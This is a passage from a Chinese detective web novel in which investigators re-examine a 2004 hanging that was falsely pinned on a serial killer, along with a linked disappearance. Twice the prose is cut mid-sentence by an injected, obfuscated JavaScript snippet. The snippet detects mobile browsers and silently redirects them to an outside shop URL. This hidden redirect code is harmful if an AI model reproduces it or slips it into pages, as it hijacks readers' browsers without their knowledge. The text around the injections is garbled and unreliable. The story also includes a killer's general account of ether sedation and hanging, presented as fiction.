“还是那句话,我不妨碍你偷偷谈恋爱。结婚的事,你暂时就别想了。”张芷琼站起身,走了出去。 张越凝靠在椅背上,她微微咬着下唇,一动不动。 晚风从窗外吹进来,把桌上的几页打印纸吹到了地上。 再侧头往外看,月亮不知道隐去了哪里,只留下层层的乌云。 半天,她才幽幽吐了两个字:“有病。” 喵! 不知什么时候,脚边多了一只深灰色的肥胖蓝猫。 它两只前爪并拢着地,后腿乖巧蹲着,看上去活脱脱像漫画里的龙猫。 “黑豆。”张越凝唤了那猫一声。 黑豆往上一窜,灵活的胖子趴在了她的大腿上,头轻轻往她手上蹭了蹭。 张越凝揉了揉猫猫的胖脑袋,没多久,黑豆发出舒服的呼噜声。 她浅浅笑道:“你要减肥了,黑豆。” * 百步刑侦大队3组办公室里,大家在汇总工作。 田海亮:“昨天上午我去了红猿山底下的薛家村,找到了薛冬华一家,薛冬华等人证实贾伟东和卢照麟确实在2004年9月23日开始跟着他们进山打猎,去了几天他们忘记了。还有,贾伟东、卢照麟两人的DNA跟夏木橙腹中胎儿的DNA已经排除了亲缘关系。” 程栋梁:“按照头儿的吩咐,许忠那边我们暂时没有打草惊蛇,只调阅了他的档案和资料。” “许忠,男,56岁,机械厂职工,退休后在花鸟市场兼职做管理员。他女儿已结婚生子,目前许忠老婆在省城照顾外孙。” “许忠这个人在同事和邻居眼里就是一个特别老实忠厚的人,跟梁国邦关系也很正常。目前没发现作案动机。” 小耿追查的线索也毫无所获,“怪楼周边监控最长保留时间是3个月,在报案人进去之前,这3个月都没有人进入怪楼。” 刘泰安:“梁、夏两家所有的亲戚朋友以及机械厂家属院里二十五岁以上的男性,全部筛一遍,没做笔录的要补做笔录,特别是许忠,在做笔录的同时,不要让他察觉到我们的怀疑。然后尽量说服所有人提供DNA进行比对,技巧你们都懂的。这次工作量比较大,海亮和栋梁你们两个全权负责,广智派出所会全力配合相关工作。” “好,我知道了。” 刘泰安:“另外,两位死者在读的学校百步中学当年的老师和学生也要……” 夏木棉在快速做着笔记,她办公桌面忽然被轻轻敲了两下,陆从景示意她一起出去。 她赶紧收拾挎包跟着陆从景出了办公室门。 他们今天要去见她姐姐失踪前最后接触的人,原百步中学的数学老师戚振勋。 出事没多久,戚振勋就被调去了下边小县城的一所普通中学任教。 从临城出发去小县城要一个多小时,他们是中午十二点多到的。 一个消瘦的中年男子站在校门口等他们,他戴着黑框眼镜,眉眼中有股淡淡的没有生气的书卷味,看着倒像是个落寞文人。 学校正在进行期末考试,戚振勋是上午才收到协助调查的通知,他都没心思吃午饭了,只问:“是去旁边的茶馆,还是去食堂?” 办公室有他没回家的同事,肯定是不合适的。 但无论是茶馆还是食堂,现在都是人最多的时候,陆从景打量着对方,问:“你住附近吧?” “我宿舍在学校后面。” “那就去你家。” 戚振勋在前面带路,穿过学校外墙的一条小径,进了教职工宿舍楼。 木棉昨天拿到了戚振勋的资料。 他是90年代某知名师范大学毕业的高材生,在百步中学执教期间教学成果斐然,但因被家长投诉不公平对待学生,于2004年10月被迫暂停工作,并于翌年从市区调到了小县城。 戚振勋现年39岁,一直单身未婚,这在婚恋市场上被视为香饽饽的老师来说并不常见。 职工宿舍没有电梯,他们爬上六楼,在最角落的位置停下脚步。 开门进屋,是个一居室的单身公寓,收拾的很干净整洁。 戚振勋给他们泡了茶,然后三人就坐在沙发上开始了“聊天”。 “我没想到,夏木橙会是这样的结局。”戚振勋神情满是哀伤和可惜。 陆从景:“我看了你之前的笔录,2004年9月24日当天下午,你是最后接触夏木橙的人。” 戚振勋因为前后做过几次笔录所以对此印象深刻。 “那天是星期五,最后一节课本来是体育,但体育老师临时有事,就跟我换了课。那节课我讲了一张卷子,课后夏木橙有一道附加题没想明白,就来办公室找我解题,我跟她重新捋了一遍,大概五点十分左右,她就离开了我们办公室。” “当时你们办公室还有其他人吗?” “有其他科的老师在。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837537|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “她是自己一个人离开的?” “夏木橙离开之后,我就从办公室出来去传达室取信件,在楼梯口,我看见夏木橙和梁小宇一起离开了。当时两个孩子神情都比较严肃。我是他们出事之后,才听说,是梁小宇的班主任找他聊了早恋的事。” “你看见他们往哪个方向走了吗?” “这个我没留意。” “你确定?”陆从景盯着他,语气忽然强硬起来,“你要不要再好好回想回想。” 不止戚振勋愣住,就连夏木棉也微微顿住了,来之前,陆从景没跟她详细透露今天要怎么聊。 戚振勋尴尬笑道:“我确实没留意。” “我这里有最新的证人可以证明,有人看见你,跟着梁小宇夏木橙从后门离开了百步中学。” 戚振勋脸色瞬间凝重了。 这个最新证据,木棉之前也不知道,但她不能表现得完全不知情:“戚老师,你最好如实回答,不然,受影响的还是你自己。” 戚振勋十指交叉握着,左手轻轻扣着右手大拇指,沉默了大概两分钟后,他说:“我确实看见他们从后门绕过后山离开学校,但我不是跟踪他们。” “你不是跟踪他们?!” “我不是。那天下午,有学生认为我偏袒其他人,约了我到学校外见面。” 陆从景质疑:“当年做笔录的时候,你为什么不说实话。” 戚振勋又顿住了,过了会儿,他才回答:“不想惹事上身。而且当时大家都认为他们是离家出走,所以他们从哪个门出去,都不会影响警察判断。” “你认为你说了实话,会惹什么事上身?” “不必要的麻烦。” “什么不必要的麻烦?”陆从景穷追猛打,但语气还相对平和。 面对这个问题,戚振勋再度陷入沉默。 陆从景打开自己的手机相册,翻出其中一张照片,放在桌上:“这人你认识吧?” 木棉看了眼手机里的照片,是一个十七八岁的少年坐在沙发上拨弄着吉他,看照片里的背景环境,应该是个有钱人家的孩子。 戚振勋扶了扶眼镜,不得不坦诚:“他叫张皓钧,也是我的学生。那天就是他约我见面。” “他约你在哪儿见面?” “学校外面的紫竹林。” “见着了吗?” “没有。我等到6点他都没出现,我就回家了。结果回到家没多久,工作群里就炸开了。张皓钧被人发现吊死在学校后山。” 夏木棉忽然明白过来,原来照片中的男子就是她姐姐失踪当天被杀的百步中学学生。 当时事情闹的很大,因为那是大名鼎鼎的连环吊颈杀手在临城犯下的第五起吊杀案! 她爸妈还有大伯一家因为害怕姐姐和梁小宇也遇到连环杀手,当时发动了所有能发动的亲朋,在外面找人。 直到梁小宇被发现溺亡…… “你在紫竹林等待张皓钧的时间段,有没有时间证人?” 这次戚振勋没多思考就摇头:“没有时间证人。但是,张皓钧不是被连环杀手杀害的吗?我看新闻上说,凶手上半年已经伏法了。” 陆从景没有直接回答他的问题,“你没有时间证人?” “没有。我想不起来了。” “这起案件之后,你为什么被停职调查?据我所知,不是因为不公平对待学生这么简单吧。” 戚振勋揉了揉鼻子,坚持道:“就是这么简单。” 陆从景拿回手机,找到另外一张照片,放桌上,“这位呢,详细说说你们的关系。” 木棉瞄了眼手机上的照片,是张越凝。 张越凝是张皓钧的表姐,当时他们跟梁小宇夏木橙一样,都是百步中学高三学生。 只是四个人分别在四个班。 8.第08章 中午时分,窗外鸣蝉分外呱噪。 看着张越凝的照片,半晌,戚振勋才挤出一句话,“她也是我的学生。” “只是学生吗?” “警察同志,你问的这个问题,跟你们要调查的夏木橙案件完全没有关系吧?!”戚振勋大声质疑。 陆从景盯着戚振勋,看他反应这么激烈,似乎更加印证了他之前得到的信息是对的。 “张越凝高三的同学说,有人曾经见她多次进出你的宿舍。” “我在给她补习。” “你趁着给她补习,做了不该做的事!”陆从景也提高了音量,步步紧逼。 “我要是做了犯法犯罪的事,我早进监狱了!” “你是没进监狱,但你因此被停职,最后被调离百步中学。你之所以还能继续做老师,是因为张越凝不愿意站出来指证你,我说的没错吧?你跟张越凝或者她母亲张芷琼之间做了一笔交易,你杀了张皓钧,她们就放过你。是不是?” 面对陆从景的咄咄逼人,戚振勋忽地站起身,“我没杀人!” 陆从景一字一顿地吐出三个字:“说实话!” 木棉做笔录的手,不由得停了下来。 她不确定这是陆从景的猜想,还是他手上有真实证据。 一般走访调查是不会这么剑拔弩张的,这差点把教师宿舍都变成审讯室了。 她也从没见过陆从景这么强势。 这个时候,如果戚振勋懂法,他完全有权利保持缄默。 但明显他心态被陆从景给击穿了。 “我跟张越凝就是普通的……师生恋,我没有对她做过任何过分的事。我们的关系被她的表弟张皓钧发现之后,他打电话约我出去,不知道他是想打我一顿,还是想逼我远离张越凝。” 陆从景再次重压逼问:“你杀了张皓钧?” 戚振勋不得不重申,“我没有杀张皓钧。我那天傍晚根本就没见到他。” “你一个人就这么傻傻地等在紫竹林?据我所知,张皓钧是少数带手机上学的学生,你没打他电话?” “我打了,他手机关机。如果我打通了他手机号码,当年警察肯定能查出来。”戚振勋脑子倒还清醒。 陆从景依然一瞬不瞬地盯着对方:“紫竹林就在后山的山脚下,距离张皓钧被杀的位置很近,你当时没发现什么异常吗?” “有。”戚振勋语气比刚才轻松了些,他缓缓坐下。 陆从景等着他继续说下去。 戚振勋:“我到紫竹林没多久,就看到一个陌生中年男人急匆匆从山上下来,然后往北走了。” “往北走了?”陆从景语调也缓和下来。 “对。” “那中年男人有什么特征吗?” 戚振勋仔细回想着:“戴着灰色鸭舌帽,样貌看不清楚,个头不太高,也不壮,中等身材吧,手里拎着一个帆布袋,他走的很快,到山底的时候,差点摔了一跤。” “个头不高是大概多高?” “一米七左右,最多一米七。” 木棉快速记录的同时,补充问道:“你是怎么确认他身高在一米七左右的?” “他当时经过一棵松树,那棵松树大概一米八,他比松树要矮十公分左右。” “为什么记得这么清楚?” 想了一会儿,戚振勋才说:“我回到家看到□□群的信息,知道张皓钧出事了,我就一直在回想下午发生的事。后来警方很快锁定凶手,我也就没跟警察说这些情况。” 陆从景又问:“你说那个人手里拿着一个帆布袋?什么颜色?目测里面装的东西多吗?你详细描述一下。” “白色的帆布袋,那个帆布袋上面写了一个大大的阿拉伯数字‘40’,里面装的东西不多,看起来也不沉,就像里面放了……两块腊肉。” 这数学老师还挺会形容,他说里面像是放了两块腊肉,夏木棉立刻能想象帆布袋的蓬松度。 陆从景又问了几个细节,没再说什么。 在等待派出所民警来协助做正式笔录的时候,戚振勋忍不住问了一句,“你们为什么会怀疑张越凝和她母亲想要杀张皓钧?” 正在发短信的木棉也抬起头看向陆从景。 陆从景反问:“我们什么时候怀疑张越凝和她母亲了?” 戚振勋忽然明白过来,“你刚才诈我?” 陆从景轻轻一笑,没回答。 木棉忙解释:“按照规定,我们不能对外透露案情。” 戚振勋低下头,过了一会儿,他近乎自言自语地呢喃:“听说……她做了律师。” 木棉不好回话,张越凝不止做了律师,还即将跟她晖哥结婚。 陆从景瞟他一眼:“你们没联系?” 戚振勋尴尬摇了摇头。 已经不是一个世界的人了。 * 下午三点半,他们终于在小县城一家苍蝇馆子坐下。 这个时间段不是饭点,整个小饭馆就他们两人。 木棉拧开冰红茶瓶子,习惯性看了眼瓶盖,没有再来一瓶。 他们点了三个家常菜,因为店里没其他客人,菜很快上齐了。 木棉吃着辣椒炒肉,问:“师兄,你怎么知道我姐和梁小宇当天是从后门离开的?真有证人吗?” “没有。我前段时间找了张皓钧的同学,其中有一人看见戚振勋在放学后,急匆匆从后门离开。你肯定很好奇,我是怎么联想到,夏木橙和梁小宇也是从后门离开的?” 夏木棉忙点头表示想知道。 陆从景:“回到临城我找出地图详细解释给你听。” “哦。” 夏木棉默默吃着米饭,耳边传来街上叮叮当当卖麦芽糖的叫卖声。 又吃了一大口凉拌笋丝,她终究还是忍不住问出憋了大半天的问题。 “师兄,你是为了调查张皓钧案,才接我姐这个案子……” 她话没说完,陆从景已经回她:“是。” “但杀害张皓钧的凶手已经伏法了呀。” 那位凶手叫崔雄伟,是轰动全国的吊颈连环杀手,2002年至2005年期间,在临城周边县市总共杀了7个人。 都是用乙/醚让受害者进入半迷昏状态之后,挂到房梁或者树上吊死的。 2005年崔雄伟犯下最后一起案件后,法医在受害者指甲缝里成功提取到了凶手的完整DNA数据。 因为最后一起案件的死者反抗激烈,现场留下了不少证据,怕伏法的崔雄伟自此收手。 崔雄伟这几年帮人开大货车,去年在高速上撞人逃逸被抓,其DNA比对上了当年的吊颈杀手,大案这才告破。 崔雄伟对于当年犯下的几起案件,全都供认不讳。 于今年3月在临城被执行死刑。 木棉看过详细的报道,她记得崔雄伟身高差不多一米八,人很壮实,跟刚才戚老师口中看到的陌生男人完全不一样。 辣椒太辣,陆从景抽了张纸巾,擦去额头上的细汗,说:“崔雄伟在行刑前主动要求跟我见面,他希望我写一本以他为题材的小说。” 在会面室里,崔雄伟跟陆从景讲述了自己悲惨的童年。 崔雄伟出生在临城郊区农村,他父亲是个赌鬼,每次赌博输了钱,就回家拿妻儿撒气。 拳打脚踢那是家常便饭。 崔雄伟稍微长大一点,开始有意识反抗,但他越反抗,他父亲打他打的越狠。 好几次把他吊在谷仓里毒打,有一次毒打完,吊了他一天一夜,导致崔雄伟差点死去。 他母亲胆小懦弱,只会哭着求崔雄伟听话,求他不要反抗,忍一忍就好了,但崔雄伟偏不,他要反抗。 父亲打不服他,最后就把气撒到他母亲身上,这让崔雄伟更愤怒和狂躁。 他发誓,等他长大后,等他有力气了,一定要打死那禽兽不如的垃圾。 可惜他爸在他十三岁的时候突发疾病暴毙,崔雄伟积累在内心深处的怨气无处发泄。 直到结婚后,有一次他和老婆因为琐事吵架,他失控把老婆吊了起来…… “我就蹲在地上,看着她挂在吊扇上,看她呼吸上不来,拼死挣扎的死样,你不晓得,我整个脑壳像涂了清凉油一样,舒服!比喝酒比玩女人都舒服!!” 陆从景看着眼前的魔鬼,冷声问:“你把你老婆吊死了?” “没得。刚好我儿子放学回来咯,我清醒过来,我要是把我老婆吊死,我也得枪毙,那我儿子怎么办?你说是吧?” 2002年5月,崔雄伟因为母亲赡养的问题再次跟老婆吵架,气头上他骑着摩托车去镇上买酒喝,途中遇到一个老大爷想坐他的摩的回县城。 他把老大爷送到县城后,去对方家上了个厕所。 刚好那天老大爷家没其他人,鬼使神差的,他用一根细绳把对方勒到半死后挂了起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842029|191268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我看着那老汉一点点被勒死,像吊死一只拼命挣扎的□□,真快活。” 能上瘾。 第一次犯案,是临时起意,完全没有准备,崔雄伟自己也差点受伤,后来他就想办法弄来一瓶乙/醚,每次都把受害者捂到半昏迷的状态,再把对方吊起来。 “剂量把握是个技术活。太清醒了,他们会挣扎得很厉害,有可能会出现意外情况。完全昏迷了,吊起来就像一条死尸,没有挣扎,也不刺激。” 崔雄伟就像一个技术纯熟的手工艺人,跟陆从景侃侃而谈地炫技。 他杀人没有规律,心情不好的时候,就到县城或者市郊找一个看起来比他弱的,找机会就杀了。 “你跟你父亲一样,是个只会欺负弱者的垃圾。” 崔雄伟笑着否认:“我跟那个禽兽不一样!我从来不打我儿子,半个手指头我都没打过他。” 说起儿子,他脸上难得露出一丝的温和。 “你们身上流的都是一样肮脏的血,你不止欺负弱者,你还虐杀比你弱的无辜生命。那是别人的父亲、儿子、女儿……你父亲毁了你,你毁了7个家庭。你父亲是禽兽,你是禽兽不如。”陆从景没有那么多的同情心,他没办法共情一位装可怜的罪大恶极的罪犯。 网上有很多人同情崔雄伟童年的遭遇,反思社会的种种不堪,陆从景没有这种反思能力,他不是圣父。 被骂了的崔雄伟没有生气,他还笑了。 “你会帮我出书吗?” 陆从景摇头:“我是一个侦探小说作家,不是犯罪纪实记者。我不会帮你出书,更不可能帮你洗白,帮你反思这个社会!你找错人了。你应该找没有底线、只要噱头的媒体记者。” 崔雄伟略微有些失望地笑了笑,“我猜到了。” “你猜到了,还找我?” “就试试。我看过你的小说,知道你很出名。我不是文盲,我也算是半个知识分子,我读了一年高中的。我平时也很爱看书。”崔雄伟一句话里说了4个“我”字。 “你看过我哪本书?除了主角,你最喜欢哪个角色?” “重要吗?”崔雄伟继续自说自话,“如果我不是摊上那样的老汉,我不会是这样的人。” 陆从景同意:“你的父亲就不应该出生,你也不应该。” 探监时间快到了,陆从景离开之前,崔雄伟忽然说:“其实我只杀了6个人,有一个不是我杀的。” 陆从景不太相信地看向他:“最高院核准死刑都下来了,你还想做无谓的挣扎?” 崔雄伟摇头:“我挣扎没得意义,杀6个还是7个,我都是死刑。活着好苦,我不想再折腾,我想早点死。” 陆从景明白过来,“你找我来,就是想告诉我,有一个人不是你杀的?” 见陆从景又坐下,崔雄伟放低了音量:“第5个案子的张皓钧不是我杀的。是有人模仿我的作案手法杀了张皓钧。我一开始就说了张皓钧不是我杀的,但警察不信,后来我也懒得辩解,就全认了。反正我已经没得活路。” “第5个案子?” “对。张皓钧,那个有钱人的孩子。” 陆从景:“那你为什么选择现在告诉我呢?” “我喜欢看你的小说。我告诉你真相,想知道你有没有这个能耐破这个局。” “你应该告诉警察实情。” 崔雄伟:“太难熬咯,多一天我都不想活,更不想为自己翻案。我现在跟警察坦白也没用,我前面承认了是我杀的,已经办成铁案,没办法推翻了。” “你凭什么让我相信你呢?” “2004年9月15日开始到国庆节,我偷渡去缅甸帮人带玉石,根本就不在国内。你可以去调查。”崔雄伟非常自信陆从景会去调查。 最后他还说:“这个案子你要是破了,肯定能一举成名!” “我不需要。” 陆从景离开探监室的时候,并没有答应去查这个案件。 喝了口冰红茶的夏木棉好奇问:“师兄你是什么时候改变主意,想要重启调查的?” 陆从景放下筷子:“我当天就跟警方反馈了崔雄伟跟我的交谈内容,警方调取监控后去询问崔雄伟,但崔雄伟矢口否认,他说他是我的书迷,他只是跟我开了个玩笑。” 夏木棉糊涂了,“啊?这是哪一出?” 陆从景:“没多久,崔雄伟被执行死刑,之后没几天,有人给我寄了一封信。” 9.第09章 陆从景收到一封没有寄出地址和署名的信件。 信中有崔雄伟2004年9月下旬到缅甸偷运玉石的票据和一张有崔雄伟的带日期照片。 夏木棉:“那就是说,杀张皓钧的凶手真是另有其人。” 陆从景点头:“应该是的。” “谁给你寄的信?崔雄伟的家人吗?” “一开始我也以为是。不是他的律师就是他家里人。我去了崔家一趟,但他家人讳莫如深,都表示不知情。更奇怪的是,他家在崔雄伟死后,忽然变有钱了!不止买了车,还买了商品房。” 夏木棉灵光一闪,轻声道:“崔雄伟一开始并不承认自己杀了张皓钧,有没有可能是他收了别人的钱之后,才在警察面前揽下杀害张皓钧的罪?崔雄伟临死前还是希望能够真相大白,所以特意找你帮忙。警察问他,他又不承认,可见他是既想给家人留点钱,又想等他死后你可以帮忙找出真凶?” 小姑娘还是很有灵性的。 陆从景略微欣赏地点头,“可能性很大。” 所以,付钱给崔家的人应该就是真凶。 陆从景起身去厨房门口的电饭锅前加米饭。 餐馆老板娘在前台打电话完全不管,这种小馆子,客人都是自己动手丰衣足食。 等陆从景装饭回来,木棉继续刚才的话题。 “师兄,你有去查是谁给崔雄伟家人那么多钱吗?” “这种钱不可能直接通过银行转账,很难查。” “那你为什么会怀疑张越凝呢?” 虽然刚才陆从景在戚振勋面前否认了这个怀疑,但夏木棉知道,那不是真话。 陆从景夹了一块见手青,说:“张越凝的助手叫沈青,沈青的银行账户于去年5月26日向一家搬家公司转账25万,第三天崔雄伟儿子崔明往银行存款25万。如果单单这一笔款,那可能还只是巧合,但后面还有。今年3月21日崔雄伟被执行死刑,同日下午,沈青向一家装修公司的法人转账75万,然后接下来的一周内,崔家母子分别向不同的银行存了3笔款,加起来的金额是70万,后来我发现,就在那个星期,他们支付了5万的房款订金。” “也就是说沈青前后总共转出100万,而崔家人刚好也在她支付的时间段,得到了100万。” 夏木棉没问陆从景从哪儿得到的信息,但如果他所查属实,沈青跟崔家人肯定是有关系的。 陆从景:“沈青是外省人,背景非常简单,她除了是张越凝的助手外,在临城没有其他复杂的社会关系。” 张越凝为什么要杀她的表弟呢? 当时她也只有17岁而已。 要买凶杀人,也不可能是她。 “真正的主谋很可能是她的利益共同体,她母亲张芷琼。” 夏木棉想了想:“为了钱?” “普通兄弟为了一间小破房都可能打的你死我活,何况他们这种家庭?” 张越凝的外公张鸿禺是鸿达集团的董事长,鸿达没上市,具体有多少资产没人清楚,坊间传闻,肯定至少几十亿往上走。 张鸿禺有三任伴侣。 发妻早年生病去世,留下了长子张启峰。 第二任妻子于三十年前离世,留下女儿张芷琼。 第三任伴侣跟张鸿禺没有领结婚证也没有生育孩子,她是带着儿子跟了张鸿禺的。 所以,张鸿禺亲生的孩子只有一子一女。 张鸿禺儿子儿媳在2000年初出意外去世,他们育有一对双胞胎,后来双胞胎中的女孩生病去世,就只剩下张皓钧。 张芷琼带着女儿一直住在娘家,她婚姻破裂后,跟父亲关系紧张。 “张鸿禺因气张芷琼出轨离婚,父女关系非常紧张。2004年张鸿禺重病,立下遗嘱要将大部分遗产留给独孙张皓钧,小部分留给张越凝,而张芷琼被完全排除在继承人之外。” “没多久,张皓钧被杀。而张越凝作为张家第三代唯一继承人,很有可能成为最大的受益者。” 夏木棉没想明白,“不过张越凝没有回鸿达集团继承家业,她现在是一名律师。” “张芷琼虽然跟父亲关系不好,但她在鸿达集团一直担任要职,前几年已经升为总经理,张越凝也是鸿达的法律顾问,这种大家族的接班,路还很长。” 木棉之前只知道张越凝家里有钱,但不知道这么有钱,而且还是家族唯一继承人。 难怪陆从景感叹曾晖厉害。 如果曾晖能和张越凝结婚,那他真是迎娶白富美,自此走向人生巅峰。 此时,餐馆老板娘打完电话,坐在他们前面的餐桌旁包馄饨。 两人没再讨论案情。 * 云麓庄园在市中心的麓湖边上,是临城最贵的小区。 曾立兴和戴丽华夫妇站在阳台上,看着远处的麓湖,心旷神怡之外,不由心生遥想。 戴丽华回头看了一眼,中介不在,她忍不住小声感叹:“刚才我问中介,这套房要五百多万。要是能住上这么好的房子,我这辈子值了。” 曾立兴嘲笑她:“想什么呢,谁愿意跟公公婆婆一起住?” “不是,你没听小晖说,这套房子是买给我们住的?” 曾立兴多少有些不敢相信:“这房子给我们住?” “是啊,越凝是这么计划的。” “房产证写谁的名字?” “他们两个的名字。” “那他们小两口婚后住哪儿?” “越凝妈妈家。” 曾立兴微微摇头:“这合适吗?传出去,别人会不会以为我们曾晖做上门女婿了?” “你要有心理准备,到时候生孩子,她家肯定要求生两个,至少有一个跟她们家姓。” 曾立兴沉默了。 戴丽华揶揄他:“干嘛,不愿意啊?” “我无所谓。她愿意生就行。婚前谈好了,我没意见。哎,什么时候跟她妈妈见面?” “快了吧?说实在的,我有点紧张,怕她妈妈嫌弃我们穷。” “我们怎么穷了?在机械厂家属院,就我们有点小钱,如果买套四五十万的房子,我们也是可以付全款的。” 戴丽华瞪了丈夫一眼:“就剩下嘴硬了。这是能比的吗?” 当然没办法比。 高攀有高攀的苦恼。 曾立兴:“我也怕跟她家人见面。” 过了一会儿,曾立兴又问:“小晖怎么还没来?” “配合警察提取DNA,昨天警察上门,你的取了,他的没有。今天他跟许忠一起去的。” “2004年小晖才18岁,而且他那时候去外地读大学了,这也要提取DNA?”曾立兴冷笑一声,“这些警察简直胡来,不动脑子。” 戴丽华无所谓:“提取就提取呗,又不会少二两肉。” 曾立兴看着远处的湖景,忍不住再次感叹:“早知道老了能享儿子福,以前就不用这么拼了。” 没多久,中介去接了张越凝和曾晖上楼来。 这套房的户型很好,前业主装修后也没住过,大家都很满意。 张越凝问中介:“过户麻烦吗?” “房子还有贷款,可能办手续时间需要长一点。卖家在北京,如果张小姐您确定买,业主会回来一趟。” 张越凝看向曾晖,笑问:“那就定下来?” 曾晖个子高,他爸妈都只是中等甚至偏矮的个头,但他却像基因突变似的,是家属院男孩里个子最高的。要不是他长相随爸妈,他都要怀疑自己不是亲生的了。 女友全资付款,他能有什么意见? “我都可以。”但曾晖不想占她便宜,“写你名字就好。” 张越凝不听他的,“说好写两个人名字的。我就想要一套我们联名的房子。” 曾晖牵着她的手,笑着没再说什么。 戴丽华和曾立兴刚才都被傻儿子的拒绝给唬住了,如果他们傻儿子真不要加名字,他 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“你上次送我们那个平板,上面有个绿色图标看小说的软件,要收费吗?” 张越凝:“有收费的,有不收费的。阿姨你账号多少?我给你充值,你可以随便看。” 戴丽华摇头:“收费的我不看。我看免费的就好。” 反正看小说也花不了多少钱,张越凝没勉强,免得对方不舒服。 她顺着话题问:“阿姨你喜欢看什么小说?” “我什么小说都看呀,不过我最喜欢看的,还是以前流行的台湾言情小说。” “我妈妈也喜欢看。” “是吗?”听说未来亲家有相同爱好,戴丽华高兴道:“我们那个年代的人都爱。” 说着戴丽华给张越凝舀了一勺肉丝绘鸡枞,“这道菜好吃。还是你会点菜。” “阿姨你也多吃。曾晖跟我说,你最爱吃鸡枞了。” 戴丽华微笑着看向张越凝,满眼都是喜欢。 这么有钱的千金小姐,还这么懂事,这么有礼貌和善解人意,她对儿子婚后的生活,充满了憧憬。 那是他们整个家庭的跃升。 * 陆从景租住的房子在一个破旧的老式小区里。 他住三楼,小两居,一个卧室,一个书房。 走进书房,夏木棉被眼前景象给镇住了。 一张简易的黑色长条桌旁边是黑板大小的软木墙板,上面用图钉钉了满满一面墙的照片。 最中间位置的照片是张越凝母亲张芷琼。 陆从景从桌子底下找出一张临城百步区地图准备放到桌上。 见桌面堆满杂乱的资料,眼里有活的木棉赶紧把桌面清理出来。 地图铺好。 灯光下,陆从景在百步中学后门的位置放上一颗围棋的白子。 “2004年9月24日下午五点一刻左右,梁小宇和夏木橙从学校后门离开百步中学。而数学老师戚振勋刚好跟在他们身后不远处。彼此距离应该隔得不是很远。” “戚振勋到了紫竹林不久,看见后山下来一个鸭舌帽中年男人。男人走的很急,差点摔了一跤,之后往北走。” 百步中学一带的地形夏木棉很熟悉,她说:“我姐和小宇哥如果从学校后门出来,往北走一段路是能抄近道回家的。” 所以,同样往北走的鸭舌帽男人很可能会跟梁小宇夏木橙相遇。 陆从景在地图上往北一指,“百步中学后门出来,往北走,沿着小松山的山道步行大概一千米,就是天水坝。” 他在天水坝放下第二颗白子。 那几天,刚好是老好人许忠在天水坝帮卢照麟看管鱼塘。 “这就是我猜测夏木橙和梁小宇从百步中学后门出来之后,往北走的原因。” 只有这样,三条人命案件才能完全串起来。 10.第10章 前边陆从景只讲了个开头,夏木棉就明白过来了。 “鸭舌帽男人遇到了我姐和小宇哥,他表现的太慌张,引起了我姐他们的注意。如果是陌生人,那他逃走就好了。但……假设鸭舌帽男子是熟人,他肯定担心我姐和小宇哥会对外暴露他的行踪。” 陆从景点头:“他应该是找了个借口把夏梁二人骗到天水坝鱼塘的值班房。” 两天后凶手在天水坝溺死梁小宇,之后长期囚禁夏木橙。 为什么两天后才动手,这是另外一个谜题。 大热天的,书房里也没开空调,木棉只觉得手脚冰凉。 她看着压在天水坝上的棋子,久久说不上话来。 难道杀害她姐姐的真是看着老实巴交的许忠? 陆从景看得出木棉心底难受,他也没安慰她,而是往前展开话题。 “先不管鸭舌帽是不是许忠,我们先确定鸭舌帽中年男子是真凶的可能性有多少?” 说着他从桌上的资料堆里拿出一张巴掌大的白色卡纸,写上“鸭舌帽”三个字,然后钉在软木板上。 “在张皓钧被吊死的案发现场,山边泥土里留下几个凌乱的鞋印。这个鞋印经过测量,是44尺码的皮鞋,跟吊颈杀手在第2起凶案现场留下的鞋印,皮鞋品牌和大小都完全一致。” 陆从景从资料堆里翻出几张资料,这是他复印的现场鞋印照片。 “你有没有发现这些鞋印有什么特别之处?” 夏木棉接过细看,只见照片里的几处鞋印是既凌乱又清晰。 她看了又看:“鞋印看起来算是清晰的,但边缘的印痕比中间的浅,而且这几个鞋印很明显压力分布不均……” “对。”陆从景鼓励她继续分析。 夏木棉推测:“凶手穿了不合脚的鞋!他的脚比44码要小。由此可以推断,真凶确实不是崔雄伟。凶手只是模仿他。一般情况下,脚的大小跟身高有一定关系。鸭舌帽男子身高比较矮,他的脚应该比较小。” 陆从景赞同木棉的推断:“鸭舌帽男子手上拿的帆布袋,装的很可能就是他换下来的皮鞋,还有其他作案工具。” “应该是的!”夏木棉情绪比刚才缓和了一些,“许忠身高在170CM以内左右,不知道他穿多大尺码的鞋,晚点或者明天我去观察一下。” 陆从景:“他穿41码的鞋。” “你怎么知道。” “上次我在你三叔家门口仔细观察过。” 这让夏木棉不得不佩服陆从景观察入微。 但这些都不是直接证据,很难证明许忠就一定是凶手。 “师兄,有一点我没想明白,如果是张芷琼雇凶杀人,那她为什么不请更为专业的杀手呢?她怎么会找许忠这么个普通老百姓来行凶?许忠的动机是为了什么?为了钱吗?” 陆从景看着软木板上的张芷琼,“只是推测,幕后主谋不一定就是张芷琼。张芷琼只是目前嫌疑最大的,再加上张越凝助理沈青的转账记录,这不可能完全是巧合。” 夏木棉:“我回去调查一下许忠那边的情况。” 同时她又有点替曾晖担心,她看着张芷琼左下角张越凝的照片,“如果张越凝真的是帮凶,当年她只有17岁,也要承担法律责任吗?” “这不是我们要操心的事。你不要在她面前露馅了。”陆从景提醒。 